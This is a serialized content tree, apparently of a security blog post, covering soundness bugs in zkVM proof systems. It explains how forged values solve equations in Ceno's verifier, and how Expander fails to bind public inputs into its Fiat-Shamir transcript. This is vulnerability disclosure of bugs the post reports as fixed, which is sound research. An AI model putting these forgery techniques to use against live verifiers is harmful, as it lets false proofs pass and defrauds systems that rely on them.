product",{"type":22,"tag":101,"props":123782,"children":123784},{"className":123783},[25726],[123785],{"type":27,"value":2261},{"type":22,"tag":101,"props":123787,"children":123789},{"className":123788,"style":8231},[8133],[],{"type":22,"tag":101,"props":123791,"children":123793},{"className":123792},[8236],[123794],{"type":27,"value":1511},{"type":22,"tag":101,"props":123796,"children":123798},{"className":123797,"style":8231},[8133],[],{"type":22,"tag":101,"props":123800,"children":123802},{"className":123801},[8042],[123803,123807],{"type":22,"tag":101,"props":123804,"children":123806},{"className":123805,"style":118574},[8047],[],{"type":22,"tag":101,"props":123808,"children":123810},{"className":123809},[8053,27],[123811],{"type":22,"tag":101,"props":123812,"children":123814},{"className":123813},[8053],[123815],{"type":27,"value":118585},{"type":22,"tag":23,"props":123817,"children":123818},{},[123819,123821,123974],{"type":27,"value":123820},"This is bilinear in ",{"type":22,"tag":30,"props":123822,"children":123824},{"className":123823},[8026,8027],[123825],{"type":22,"tag":101,"props":123826,"children":123828},{"className":123827},[8032],[123829],{"type":22,"tag":101,"props":123830,"children":123832},{"className":123831,"ariaHidden":5608},[8037],[123833],{"type":22,"tag":101,"props":123834,"children":123836},{"className":123835},[8042],[123837,123841,123846,123903,123908,123912,123969],{"type":22,"tag":101,"props":123838,"children":123840},{"className":123839,"style":8154},[8047],[],{"type":22,"tag":101,"props":123842,"children":123844},{"className":123843},[25704],[123845],{"type":27,"value":980},{"type":22,"tag":101,"props":123847,"children":123849},{"className":123848},[8053],[123850,123855],{"type":22,"tag":101,"props":123851,"children":123853},{"className":123852},[8053,25575],[123854],{"type":27,"value":23266},{"type":22,"tag":101,"props":123856,"children":123858},{"className":123857},[8069],[123859],{"type":22,"tag":101,"props":123860,"children":123862},{"className":123861},[8074,25629],[123863,123892],{"type":22,"tag":101,"props":123864,"children":123866},{"className":123865},[8079],[123867,123887],{"type":22,"tag":101,"props":123868,"children":123870},{"className":123869,"style":96606},[8084],[123871],{"type":22,"tag":101,"props":123872,"children":123873},{"style":96610},[123874,123878],{"type":22,"tag":101,"props":123875,"children":123877},{"className":123876,"style":8094},[8093],[],{"type":22,"tag":101,"props":123879,"children":123881},{"className":123880},[8099,8100,8101,8102],[123882],{"type":22,"tag":101,"props":123883,"children":123885},{"className":123884},[8053,8102],[123886],{"type":27,"value":8065},{"type":22,"tag":101,"props":123888,"children":123890},{"className":123889},[25732],[123891],{"type":27,"value":25735},{"type":22,"tag":101,"props":123893,"children":123895},{"className":123894},[8079],[123896],{"type":22,"tag":101,"props":123897,"children":123899},{"className":123898,"style":96637},[8084],[123900],{"type":22,"tag":101,"props":123901,"children":123902},{},[],{"type":22,"tag":101,"props":123904,"children":123906},{"className":123905},[8165],[123907],{"type":27,"value":8168},{"type":22,"tag":101,"props":123909,"children":123911},{"className":123910,"style":8172},[8133],[],{"type":22,"tag":101,"props":123913,"children":123915},{"className":123914},[8053],[123916,123921],{"type":22,"tag":101,"props":123917,"children":123919},{"className":123918},[8053,25575],[123920],{"type":27,"value":23266},{"type":22,"tag":101,"props":123922,"children":123924},{"className":123923},[8069],[123925],{"type":22,"tag":101,"props":123926,"children":123928},{"className":123927},[8074,25629],[123929,123958],{"type":22,"tag":101,"props":123930,"children":123932},{"className":123931},[8079],[123933,123953],{"type":22,"tag":101,"props":123934,"children":123936},{"className":123935,"style":96606},[8084],[123937],{"type":22,"tag":101,"props":123938,"children":123939},{"style":96610},[123940,123944],{"type":22,"tag":101,"props":123941,"children":123943},{"className":123942,"style":8094},[8093],[],{"type":22,"tag":101,"props":123945,"children":123947},{"className":123946},[8099,8100,8101,8102],[123948],{"type":22,"tag":101,"props":123949,"children":123951},{"className":123950},[8053,8102],[123952],{"type":27,"value":6813},{"type":22,"tag":101,"props":123954,"children":123956},{"className":123955},[25732],[123957],{"type":27,"value":25735},{"type":22,"tag":101,"props":123959,"children":123961},{"className":123960},[8079],[123962],{"type":22,"tag":101,"props":123963,"children":123965},{"className":123964,"style":96637},[8084],[123966],{"type":22,"tag":101,"props":123967,"children":123968},{},[],{"type":22,"tag":101,"props":123970,"children":123972},{"className":123971},[25726],[123973],{"type":27,"value":2261},{"type":27,"value":231},{"type":22,"tag":23,"props":123976,"children":123977},{},[123978,123980,124133],{"type":27,"value":123979},"We have two unknowns ",{"type":22,"tag":30,"props":123981,"children":123983},{"className":123982},[8026,8027],[123984],{"type":22,"tag":101,"props":123985,"children":123987},{"className":123986},[8032],[123988],{"type":22,"tag":101,"props":123989,"children":123991},{"className":123990,"ariaHidden":5608},[8037],[123992],{"type":22,"tag":101,"props":123993,"children":123995},{"className":123994},[8042],[123996,124000,124005,124062,124067,124071,124128],{"type":22,"tag":101,"props":123997,"children":123999},{"className":123998,"style":8154},[8047],[],{"type":22,"tag":101,"props":124001,"children":124003},{"className":124002},[25704],[124004],{"type":27,"value":980},{"type":22,"tag":101,"props":124006,"children":124008},{"className":124007},[8053],[124009,124014],{"type":22,"tag":101,"props":124010,"children":124012},{"className":124011},[8053,25575],[124013],{"type":27,"value":23266},{"type":22,"tag":101,"props":124015,"children":124017},{"className":124016},[8069],[124018],{"type":22,"tag":101,"props":124019,"children":124021},{"className":124020},[8074,25629],[124022,124051],{"type":22,"tag":101,"props":124023,"children":124025},{"className":124024},[8079],[124026,124046],{"type":22,"tag":101,"props":124027,"children":124029},{"className":124028,"style":96606},[8084],[124030],{"type":22,"tag":101,"props":124031,"children":124032},{"style":96610},[124033,124037],{"type":22,"tag":101,"props":124034,"children":124036},{"className":124035,"style":8094},[8093],[],{"type":22,"tag":101,"props":124038,"children":124040},{"className":124039},[8099,8100,8101,8102],[124041],{"type":22,"tag":101,"props":124042,"children":124044},{"className":124043},[8053,8102],[124045],{"type":27,"value":8065},{"type":22,"tag":101,"props":124047,"children":124049},{"className":124048},[25732],[124050],{"type":27,"value":25735},{"type":22,"tag":101,"props":124052,"children":124054},{"className":124053},[8079],[124055],{"type":22,"tag":101,"props":124056,"children":124058},{"className":124057,"style":96637},[8084],[124059],{"type":22,"tag":101,"props":124060,"children":124061},{},[],{"type":22,"tag":101,"props":124063,"children":124065},{"className":124064},[8165],[124066],{"type":27,"value":8168},{"type":22,"tag":101,"props":124068,"children":124070},{"className":124069,"style":8172},[8133],[],{"type":22,"tag":101,"props":124072,"children":124074},{"className":124073},[8053],[124075,124080],{"type":22,"tag":101,"props":124076,"children":124078},{"className":124077},[8053,25575],[124079],{"type":27,"value":23266},{"type":22,"tag":101,"props":124081,"children":124083},{"className":124082},[8069],[124084],{"type":22,"tag":101,"props":124085,"children":124087},{"className":124086},[8074,25629],[124088,124117],{"type":22,"tag":101,"props":124089,"children":124091},{"className":124090},[8079],[124092,124112],{"type":22,"tag":101,"props":124093,"children":124095},{"className":124094,"style":96606},[8084],[124096],{"type":22,"tag":101,"props":124097,"children":124098},{"style":96610},[124099,124103],{"type":22,"tag":101,"props":124100,"children":124102},{"className":124101,"style":8094},[8093],[],{"type":22,"tag":101,"props":124104,"children":124106},{"className":124105},[8099,8100,8101,8102],[124107],{"type":22,"tag":101,"props":124108,"children":124110},{"className":124109},[8053,8102],[124111],{"type":27,"value":6813},{"type":22,"tag":101,"props":124113,"children":124115},{"className":124114},[25732],[124116],{"type":27,"value":25735},{"type":22,"tag":101,"props":124118,"children":124120},{"className":124119},[8079],[124121],{"type":22,"tag":101,"props":124122,"children":124124},{"className":124123,"style":96637},[8084],[124125],{"type":22,"tag":101,"props":124126,"children":124127},{},[],{"type":22,"tag":101,"props":124129,"children":124131},{"className":124130},[25726],[124132],{"type":27,"value":2261},{"type":27,"value":124134}," and two equations, one linear and one bilinear:",{"type":22,"tag":6828,"props":124136,"children":124137},{},[124138,124465],{"type":22,"tag":6832,"props":124139,"children":124140},{},[124141,124143],{"type":27,"value":124142},"Linear (from GKR): ",{"type":22,"tag":30,"props":124144,"children":124146},{"className":124145},[8026,8027],[124147],{"type":22,"tag":101,"props":124148,"children":124150},{"className":124149},[8032],[124151],{"type":22,"tag":101,"props":124152,"children":124154},{"className":124153,"ariaHidden":5608},[8037],[124155,124291,124426,124452],{"type":22,"tag":101,"props":124156,"children":124158},{"className":124157},[8042],[124159,124164,124221,124278,124282,124287],{"type":22,"tag":101,"props":124160,"children":124163},{"className":124161,"style":124162},[8047],"height:0.7333em;vertical-align:-0.15em;",[],{"type":22,"tag":101,"props":124165,"children":124167},{"className":124166},[8053],[124168,124173],{"type":22,"tag":101,"props":124169,"children":124171},{"className":124170},[8053,25575],[124172],{"type":27,"value":80},{"type":22,"tag":101,"props":124174,"children":124176},{"className":124175},[8069],[124177],{"type":22,"tag":101,"props":124178,"children":124180},{"className":124179},[8074,25629],[124181,124210],{"type":22,"tag":101,"props":124182,"children":124184},{"className":124183},[8079],[124185,124205],{"type":22,"tag":101,"props":124186,"children":124188},{"className":124187,"style":96606},[8084],[124189],{"type":22,"tag":101,"props":124190,"children":124191},{"style":96610},[124192,124196],{"type":22,"tag":101,"props":124193,"children":124195},{"className":124194,"style":8094},[8093],[],{"type":22,"tag":101,"props":124197,"children":124199},{"className":124198},[8099,8100,8101,8102],[124200],{"type":22,"tag":101,"props":124201,"children":124203},{"className":124202},[8053,8102],[124204],{"type":27,"value":8065},{"type":22,"tag":101,"props":124206,"children":124208},{"className":124207},[25732],[124209],{"type":27,"value":25735},{"type":22,"tag":101,"props":124211,"children":124213},{"className":124212},[8079],[124214],{"type":22,"tag":101,"props":124215,"children":124217},{"className":124216,"style":96637},[8084],[124218],{"type":22,"tag":101,"props":124219,"children":124220},{},[],{"type":22,"tag":101,"props":124222,"children":124224},{"className":124223},[8053],[124225,124230],{"type":22,"tag":101,"props":124226,"children":124228},{"className":124227},[8053,25575],[124229],{"type":27,"value":23266},{"type":22,"tag":101,"props":124231,"children":124233},{"className":124232},[8069],[124234],{"type":22,"tag":101,"props":124235,"children":124237},{"className":124236},[8074,25629],[124238,124267],{"type":22,"tag":101,"props":124239,"children":124241},{"className":124240},[8079],[124242,124262],{"type":22,"tag":101,"props":124243,"children":124245},{"className":124244,"style":96606},[8084],[124246],{"type":22,"tag":101,"props":124247,"children":124248},{"style":96610},[124249,124253],{"type":22,"tag":101,"props":124250,"children":124252},{"className":124251,"style":8094},[8093],[],{"type":22,"tag":101,"props":124254,"children":124256},{"className":124255},[8099,8100,8101,8102],[124257],{"type":22,"tag":101,"props":124258,"children":124260},{"className":124259},[8053,8102],[124261],{"type":27,"value":8065},{"type":22,"tag":101,"props":124263,"children":124265},{"className":124264},[25732],[124266],{"type":27,"value":25735},{"type":22,"tag":101,"props":124268,"children":124270},{"className":124269},[8079],[124271],{"type":22,"tag":101,"props":124272,"children":124274},{"className":124273,"style":96637},[8084],[124275],{"type":22,"tag":101,"props":124276,"children":124277},{},[],{"type":22,"tag":101,"props":124279,"children":124281},{"className":124280,"style":8134},[8133],[],{"type":22,"tag":101,"props":124283,"children":124285},{"className":124284},[8139],[124286],{"type":27,"value":8426},{"type":22,"tag":101,"props":124288,"children":124290},{"className":124289,"style":8134},[8133],[],{"type":22,"tag":101,"props":124292,"children":124294},{"className":124293},[8042],[124295,124299,124356,124413,124417,124422],{"type":22,"tag":101,"props":124296,"children":124298},{"className":124297,"style":124162},[8047],[],{"type":22,"tag":101,"props":124300,"children":124302},{"className":124301},[8053],[124303,124308],{"type":22,"tag":101,"props":124304,"children":124306},{"className":124305},[8053,25575],[124307],{"type":27,"value":80},{"type":22,"tag":101,"props":124309,"children":124311},{"className":124310},[8069],[124312],{"type":22,"tag":101,"props":124313,"children":124315},{"className":124314},[8074,25629],[124316,124345],{"type":22,"tag":101,"props":124317,"children":124319},{"className":124318},[8079],[124320,124340],{"type":22,"tag":101,"props":124321,"children":124323},{"className":124322,"style":96606},[8084],[124324],{"type":22,"tag":101,"props":124325,"children":124326},{"style":96610},[124327,124331],{"type":22,"tag":101,"props":124328,"children":124330},{"className":124329,"style":8094},[8093],[],{"type":22,"tag":101,"props":124332,"children":124334},{"className":124333},[8099,8100,8101,8102],[124335],{"type":22,"tag":101,"props":124336,"children":124338},{"className":124337},[8053,8102],[124339],{"type":27,"value":6813},{"type":22,"tag":101,"props":124341,"children":124343},{"className":124342},[25732],[124344],{"type":27,"value":25735},{"type":22,"tag":101,"props":124346,"children":124348},{"className":124347},[8079],[124349],{"type":22,"tag":101,"props":124350,"children":124352},{"className":124351,"style":96637},[8084],[124353],{"type":22,"tag":101,"props":124354,"children":124355},{},[],{"type":22,"tag":101,"props":124357,"children":124359},{"className":124358},[8053],[124360,124365],{"type":22,"tag":101,"props":124361,"children":124363},{"className":124362},[8053,25575],[124364],{"type":27,"value":23266},{"type":22,"tag":101,"props":124366,"children":124368},{"className":124367},[8069],[124369],{"type":22,"tag":101,"props":124370,"children":124372},{"className":124371},[8074,25629],[124373,124402],{"type":22,"tag":101,"props":124374,"children":124376},{"className":124375},[8079],[124377,124397],{"type":22,"tag":101,"props":124378,"children":124380},{"className":124379,"style":96606},[8084],[124381],{"type":22,"tag":101,"props":124382,"children":124383},{"style":96610},[124384,124388],{"type":22,"tag":101,"props":124385,"children":124387},{"className":124386,"style":8094},[8093],[],{"type":22,"tag":101,"props":124389,"children":124391},{"className":124390},[8099,8100,8101,8102],[124392],{"type":22,"tag":101,"props":124393,"children":124395},{"className":124394},[8053,8102],[124396],{"type":27,"value":6813},{"type":22,"tag":101,"props":124398,"children":124400},{"className":124399},[25732],[124401],{"type":27,"value":25735},{"type":22,"tag":101,"props":124403,"children":124405},{"className":124404},[8079],[124406],{"type":22,"tag":101,"props":124407,"children":124409},{"className":124408,"style":96637},[8084],[124410],{"type":22,"tag":101,"props":124411,"children":124412},{},[],{"type":22,"tag":101,"props":124414,"children":124416},{"className":124415,"style":8134},[8133],[],{"type":22,"tag":101,"props":124418,"children":124420},{"className":124419},[8139],[124421],{"type":27,"value":8426},{"type":22,"tag":101,"props":124423,"children":124425},{"className":124424,"style":8134},[8133],[],{"type":22,"tag":101,"props":124427,"children":124429},{"className":124428},[8042],[124430,124434,124439,124443,124448],{"type":22,"tag":101,"props":124431,"children":124433},{"className":124432,"style":114395},[8047],[],{"type":22,"tag":101,"props":124435,"children":124437},{"className":124436},[8053,25575],[124438],{"type":27,"value":7187},{"type":22,"tag":101,"props":124440,"children":124442},{"className":124441,"style":8231},[8133],[],{"type":22,"tag":101,"props":124444,"children":124446},{"className":124445},[8236],[124447],{"type":27,"value":1511},{"type":22,"tag":101,"props":124449,"children":124451},{"className":124450,"style":8231},[8133],[],{"type":22,"tag":101,"props":124453,"children":124455},{"className":124454},[8042],[124456,124460],{"type":22,"tag":101,"props":124457,"children":124459},{"className":124458,"style":97585},[8047],[],{"type":22,"tag":101,"props":124461,"children":124463},{"className":124462},[8053],[124464],{"type":27,"value":8065},{"type":22,"tag":6832,"props":124466,"children":124467},{},[124468,124470],{"type":27,"value":124469},"Bilinear (from multiset): ",{"type":22,"tag":30,"props":124471,"children":124473},{"className":124472},[8026,8027],[124474],{"type":22,"tag":101,"props":124475,"children":124477},{"className":124476},[8032],[124478],{"type":22,"tag":101,"props":124479,"children":124481},{"className":124480,"ariaHidden":5608},[8037],[124482,124508,124586,124664,124690],{"type":22,"tag":101,"props":124483,"children":124485},{"className":124484},[8042],[124486,124490,124495,124499,124504],{"type":22,"tag":101,"props":124487,"children":124489},{"className":124488,"style":96469},[8047],[],{"type":22,"tag":101,"props":124491,"children":124493},{"className":124492,"style":97983},[8053,25575],[124494],{"type":27,"value":92191},{"type":22,"tag":101,"props":124496,"children":124498},{"className":124497,"style":8134},[8133],[],{"type":22,"tag":101,"props":124500,"children":124502},{"className":124501},[8139],[124503],{"type":27,"value":114816},{"type":22,"tag":101,"props":124505,"children":124507},{"className":124506,"style":8134},[8133],[],{"type":22,"tag":101,"props":124509,"children":124511},{"className":124510},[8042],[124512,124516,124573,124577,124582],{"type":22,"tag":101,"props":124513,"children":124515},{"className":124514,"style":123608},[8047],[],{"type":22,"tag":101,"props":124517,"children":124519},{"className":124518},[8053],[124520,124525],{"type":22,"tag":101,"props":124521,"children":124523},{"className":124522},[8053,25575],[124524],{"type":27,"value":23266},{"type":22,"tag":101,"props":124526,"children":124528},{"className":124527},[8069],[124529],{"type":22,"tag":101,"props":124530,"children":124532},{"className":124531},[8074,25629],[124533,124562],{"type":22,"tag":101,"props":124534,"children":124536},{"className":124535},[8079],[124537,124557],{"type":22,"tag":101,"props":124538,"children":124540},{"className":124539,"style":96606},[8084],[124541],{"type":22,"tag":101,"props":124542,"children":124543},{"style":96610},[124544,124548],{"type":22,"tag":101,"props":124545,"children":124547},{"className":124546,"style":8094},[8093],[],{"type":22,"tag":101,"props":124549,"children":124551},{"className":124550},[8099,8100,8101,8102],[124552],{"type":22,"tag":101,"props":124553,"children":124555},{"className":124554},[8053,8102],[124556],{"type":27,"value":8065},{"type":22,"tag":101,"props":124558,"children":124560},{"className":124559},[25732],[124561],{"type":27,"value":25735},{"type":22,"tag":101,"props":124563,"children":124565},{"className":124564},[8079],[124566],{"type":22,"tag":101,"props":124567,"children":124569},{"className":124568,"style":96637},[8084],[124570],{"type":22,"tag":101,"props":124571,"children":124572},{},[],{"type":22,"tag":101,"props":124574,"children":124576},{"className":124575,"style":8134},[8133],[],{"type":22,"tag":101,"props":124578,"children":124580},{"className":124579},[8139],[124581],{"type":27,"value":114816},{"type":22,"tag":101,"props":124583,"children":124585},{"className":124584,"style":8134},[8133],[],{"type":22,"tag":101,"props":124587,"children":124589},{"className":124588},[8042],[124590,124594,124651,124655,124660],{"type":22,"tag":101,"props":124591,"children":124593},{"className":124592,"style":124162},[8047],[],{"type":22,"tag":101,"props":124595,"children":124597},{"className":124596},[8053],[124598,124603],{"type":22,"tag":101,"props":124599,"children":124601},{"className":124600},[8053,25575],[124602],{"type":27,"value":23266},{"type":22,"tag":101,"props":124604,"children":124606},{"className":124605},[8069],[124607],{"type":22,"tag":101,"props":124608,"children":124610},{"className":124609},[8074,25629],[124611,124640],{"type":22,"tag":101,"props":124612,"children":124614},{"className":124613},[8079],[124615,124635],{"type":22,"tag":101,"props":124616,"children":124618},{"className":124617,"style":96606},[8084],[124619],{"type":22,"tag":101,"props":124620,"children":124621},{"style":96610},[124622,124626],{"type":22,"tag":101,"props":124623,"children":124625},{"className":124624,"style":8094},[8093],[],{"type":22,"tag":101,"props":124627,"children":124629},{"className":124628},[8099,8100,8101,8102],[124630],{"type":22,"tag":101,"props":124631,"children":124633},{"className":124632},[8053,8102],[124634],{"type":27,"value":6813},{"type":22,"tag":101,"props":124636,"children":124638},{"className":124637},[25732],[124639],{"type":27,"value":25735},{"type":22,"tag":101,"props":124641,"children":124643},{"className":124642},[8079],[124644],{"type":22,"tag":101,"props":124645,"children":124647},{"className":124646,"style":96637},[8084],[124648],{"type":22,"tag":101,"props":124649,"children":124650},{},[],{"type":22,"tag":101,"props":124652,"children":124654},{"className":124653,"style":8134},[8133],[],{"type":22,"tag":101,"props":124656,"children":124658},{"className":124657},[8139],[124659],{"type":27,"value":8426},{"type":22,"tag":101,"props":124661,"children":124663},{"className":124662,"style":8134},[8133],[],{"type":22,"tag":101,"props":124665,"children":124667},{"className":124666},[8042],[124668,124672,124677,124681,124686],{"type":22,"tag":101,"props":124669,"children":124671},{"className":124670,"style":96469},[8047],[],{"type":22,"tag":101,"props":124673,"children":124675},{"className":124674},[8053,25575],[124676],{"type":27,"value":74069},{"type":22,"tag":101,"props":124678,"children":124680},{"className":124679,"style":8231},[8133],[],{"type":22,"tag":101,"props":124682,"children":124684},{"className":124683},[8236],[124685],{"type":27,"value":1511},{"type":22,"tag":101,"props":124687,"children":124689},{"className":124688,"style":8231},[8133],[],{"type":22,"tag":101,"props":124691,"children":124693},{"className":124692},[8042],[124694,124698],{"type":22,"tag":101,"props":124695,"children":124697},{"className":124696,"style":97585},[8047],[],{"type":22,"tag":101,"props":124699,"children":124701},{"className":124700},[8053],[124702],{"type":27,"value":8065},{"type":22,"tag":23,"props":124704,"children":124705},{},[124706],{"type":27,"value":124707},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":22,"tag":23,"props":124709,"children":124710},{},[124711,124715,124717,124724,124726,124733],{"type":22,"tag":9370,"props":124712,"children":124713},{},[124714],{"type":27,"value":120264},{"type":27,"value":124716}," Fixed on March 5, 2026 via ",{"type":22,"tag":80,"props":124718,"children":124721},{"href":124719,"rel":124720},"https://github.com/scroll-tech/ceno/pull/1262",[84],[124722],{"type":27,"value":124723},"PR #1262",{"type":27,"value":124725}," (original report: ",{"type":22,"tag":80,"props":124727,"children":124730},{"href":124728,"rel":124729},"https://github.com/scroll-tech/ceno/issues/1125",[84],[124731],{"type":27,"value":124732},"#1125",{"type":27,"value":2261},{"type":22,"tag":1398,"props":124735,"children":124736},{},[],{"type":22,"tag":1760,"props":124738,"children":124740},{"id":124739},"expander-polyhedra",[124741],{"type":27,"value":124742},"Expander (Polyhedra)",{"type":22,"tag":23,"props":124744,"children":124745},{},[124746],{"type":27,"value":124747},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":22,"tag":23,"props":124749,"children":124750},{},[124751],{"type":22,"tag":9370,"props":124752,"children":124753},{},[124754],{"type":27,"value":118970},{"type":22,"tag":91,"props":124756,"children":124758},{"code":124757},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[124759],{"type":22,"tag":30,"props":124760,"children":124761},{"__ignoreMap":7},[124762],{"type":27,"value":124757},{"type":22,"tag":23,"props":124764,"children":124765},{},[124766,124768,124774],{"type":27,"value":124767},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":22,"tag":30,"props":124769,"children":124771},{"className":124770},[],[124772],{"type":27,"value":124773},"eval_cst",{"type":27,"value":124775}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":22,"tag":91,"props":124777,"children":124779},{"code":124778,"language":95,"meta":7,"className":93,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[124780],{"type":22,"tag":30,"props":124781,"children":124782},{"__ignoreMap":7},[124783],{"type":22,"tag":101,"props":124784,"children":124785},{"class":103,"line":104},[124786,124790,124795,124800,124804,124808,124812,124816,124821,124825,124830,124835,124839,124844],{"type":22,"tag":101,"props":124787,"children":124788},{"style":126},[124789],{"type":27,"value":80139},{"type":22,"tag":101,"props":124791,"children":124792},{"style":166},[124793],{"type":27,"value":124794}," -=",{"type":22,"tag":101,"props":124796,"children":124797},{"style":114},[124798],{"type":27,"value":124799}," GKRVerifierHelper",{"type":22,"tag":101,"props":124801,"children":124802},{"style":166},[124803],{"type":27,"value":970},{"type":22,"tag":101,"props":124805,"children":124806},{"style":926},[124807],{"type":27,"value":124773},{"type":22,"tag":101,"props":124809,"children":124810},{"style":120},[124811],{"type":27,"value":980},{"type":22,"tag":101,"props":124813,"children":124814},{"style":166},[124815],{"type":27,"value":985},{"type":22,"tag":101,"props":124817,"children":124818},{"style":126},[124819],{"type":27,"value":124820},"layer",{"type":22,"tag":101,"props":124822,"children":124823},{"style":166},[124824],{"type":27,"value":231},{"type":22,"tag":101,"props":124826,"children":124827},{"style":120},[124828],{"type":27,"value":124829},"const_, ",{"type":22,"tag":101,"props":124831,"children":124832},{"style":126},[124833],{"type":27,"value":124834},"public_input",{"type":22,"tag":101,"props":124836,"children":124837},{"style":120},[124838],{"type":27,"value":758},{"type":22,"tag":101,"props":124840,"children":124841},{"style":126},[124842],{"type":27,"value":124843},"sp",{"type":22,"tag":101,"props":124845,"children":124846},{"style":120},[124847],{"type":27,"value":994},{"type":22,"tag":23,"props":124849,"children":124850},{},[124851,124853,124858],{"type":27,"value":124852},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":22,"tag":30,"props":124854,"children":124856},{"className":124855},[],[124857],{"type":27,"value":124843},{"type":27,"value":24730},{"type":22,"tag":23,"props":124860,"children":124861},{},[124862],{"type":22,"tag":9370,"props":124863,"children":124864},{},[124865],{"type":27,"value":124866},"The vulnerability:",{"type":22,"tag":23,"props":124868,"children":124869},{},[124870,124875],{"type":22,"tag":30,"props":124871,"children":124873},{"className":124872},[],[124874],{"type":27,"value":124834},{"type":27,"value":124876}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":22,"tag":23,"props":124878,"children":124879},{},[124880],{"type":22,"tag":7959,"props":124881,"children":124884},{"alt":124882,"src":124883},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":22,"tag":23,"props":124886,"children":124887},{},[124888,124889,124894],{"type":27,"value":2007},{"type":22,"tag":30,"props":124890,"children":124892},{"className":124891},[],[124893],{"type":27,"value":124773},{"type":27,"value":124895}," function computes a linear combination:",{"type":22,"tag":23,"props":124897,"children":124898},{},[124899],{"type":22,"tag":30,"props":124900,"children":124902},{"className":124901},[8026,8027],[124903],{"type":22,"tag":101,"props":124904,"children":124906},{"className":124905},[8032],[124907],{"type":22,"tag":101,"props":124908,"children":124910},{"className":124909,"ariaHidden":5608},[8037],[124911,124956,125080],{"type":22,"tag":101,"props":124912,"children":124914},{"className":124913},[8042],[124915,124919,124928,124933,124943,124947,124952],{"type":22,"tag":101,"props":124916,"children":124918},{"className":124917,"style":97967},[8047],[],{"type":22,"tag":101,"props":124920,"children":124922},{"className":124921},[8053,27],[124923],{"type":22,"tag":101,"props":124924,"children":124926},{"className":124925},[8053],[124927],{"type":27,"value":41544},{"type":22,"tag":101,"props":124929,"children":124931},{"className":124930,"style":96554},[8053],[124932],{"type":27,"value":6382},{"type":22,"tag":101,"props":124934,"children":124936},{"className":124935},[8053,27],[124937],{"type":22,"tag":101,"props":124938,"children":124940},{"className":124939},[8053],[124941],{"type":27,"value":124942},"cst",{"type":22,"tag":101,"props":124944,"children":124946},{"className":124945,"style":8231},[8133],[],{"type":22,"tag":101,"props":124948,"children":124950},{"className":124949},[8236],[124951],{"type":27,"value":1511},{"type":22,"tag":101,"props":124953,"children":124955},{"className":124954,"style":8231},[8133],[],{"type":22,"tag":101,"props":124957,"children":124959},{"className":124958},[8042],[124960,124964,125021,125025,125052,125057,125062,125067,125071,125076],{"type":22,"tag":101,"props":124961,"children":124963},{"className":124962,"style":96496},[8047],[],{"type":22,"tag":101,"props":124965,"children":124967},{"className":124966},[25611],[124968,124973],{"type":22,"tag":101,"props":124969,"children":124971},{"className":124970,"style":25618},[25611,25616,25617],[124972],{"type":27,"value":112349},{"type":22,"tag":101,"props":124974,"children":124976},{"className":124975},[8069],[124977],{"type":22,"tag":101,"props":124978,"children":124980},{"className":124979},[8074,25629],[124981,125010],{"type":22,"tag":101,"props":124982,"children":124984},{"className":124983},[8079],[124985,125005],{"type":22,"tag":101,"props":124986,"children":124988},{"className":124987,"style":117761},[8084],[124989],{"type":22,"tag":101,"props":124990,"children":124991},{"style":25642},[124992,124996],{"type":22,"tag":101,"props":124993,"children":124995},{"className":124994,"style":8094},[8093],[],{"type":22,"tag":101,"props":124997,"children":124999},{"className":124998},[8099,8100,8101,8102],[125000],{"type":22,"tag":101,"props":125001,"children":125003},{"className":125002},[8053,25575,8102],[125004],{"type":27,"value":7774},{"type":22,"tag":101,"props":125006,"children":125008},{"className":125007},[25732],[125009],{"type":27,"value":25735},{"type":22,"tag":101,"props":125011,"children":125013},{"className":125012},[8079],[125014],{"type":22,"tag":101,"props":125015,"children":125017},{"className":125016,"style":118041},[8084],[125018],{"type":22,"tag":101,"props":125019,"children":125020},{},[],{"type":22,"tag":101,"props":125022,"children":125024},{"className":125023,"style":8172},[8133],[],{"type":22,"tag":101,"props":125026,"children":125028},{"className":125027},[8053],[125029,125038,125043],{"type":22,"tag":101,"props":125030,"children":125032},{"className":125031},[8053,27],[125033],{"type":22,"tag":101,"props":125034,"children":125036},{"className":125035},[8053],[125037],{"type":27,"value":821},{"type":22,"tag":101,"props":125039,"children":125041},{"className":125040,"style":96554},[8053],[125042],{"type":27,"value":6382},{"type":22,"tag":101,"props":125044,"children":125046},{"className":125045},[8053,27],[125047],{"type":22,"tag":101,"props":125048,"children":125050},{"className":125049},[8053],[125051],{"type":27,"value":12376},{"type":22,"tag":101,"props":125053,"children":125055},{"className":125054},[25704],[125056],{"type":27,"value":2414},{"type":22,"tag":101,"props":125058,"children":125060},{"className":125059},[8053,25575],[125061],{"type":27,"value":7774},{"type":22,"tag":101,"props":125063,"children":125065},{"className":125064},[25726],[125066],{"type":27,"value":19412},{"type":22,"tag":101,"props":125068,"children":125070},{"className":125069,"style":8134},[8133],[],{"type":22,"tag":101,"props":125072,"children":125074},{"className":125073},[8139],[125075],{"type":27,"value":114816},{"type":22,"tag":101,"props":125077,"children":125079},{"className":125078,"style":8134},[8133],[],{"type":22,"tag":101,"props":125081,"children":125083},{"className":125082},[8042],[125084,125088,125097,125102,125107,125112,125116,125165],{"type":22,"tag":101,"props":125085,"children":125087},{"className":125086,"style":8154},[8047],[],{"type":22,"tag":101,"props":125089,"children":125091},{"className":125090},[8053,27],[125092],{"type":22,"tag":101,"props":125093,"children":125095},{"className":125094},[8053],[125096],{"type":27,"value":116143},{"type":22,"tag":101,"props":125098,"children":125100},{"className":125099},[25704],[125101],{"type":27,"value":980},{"type":22,"tag":101,"props":125103,"children":125105},{"className":125104},[8053,25575],[125106],{"type":27,"value":7774},{"type":22,"tag":101,"props":125108,"children":125110},{"className":125109},[8165],[125111],{"type":27,"value":8168},{"type":22,"tag":101,"props":125113,"children":125115},{"className":125114,"style":8172},[8133],[],{"type":22,"tag":101,"props":125117,"children":125119},{"className":125118},[8053,115703],[125120],{"type":22,"tag":101,